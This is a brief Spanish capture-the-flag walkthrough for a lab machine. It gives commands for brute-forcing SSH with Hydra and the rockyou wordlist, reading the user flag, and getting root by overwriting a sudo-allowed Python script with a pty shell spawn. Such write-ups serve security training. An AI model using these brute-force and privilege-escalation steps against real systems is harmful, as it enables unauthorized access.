NMAP

WEB

Fuerza Bruta

Usando Hydra para fuerza bruta en SSH:

hydra -l meliodas -P /usr/share/wordlists/rockyou.txt ssh://10.10.146.26 -t4

SSH

Flag Usuario

Comando utilizado para visualizar la bandera:

cat user.txt

Escalada de Privilegios

Verificación de permisos con:

sudo -l

Creación y ejecución de un script para obtener una shell:

rm -f bak.py

echo 'import pty; pty.spawn("/bin/sh")' > /home/meliodas/bak.py

sudo python /home/meliodas/bak.py

Flag Root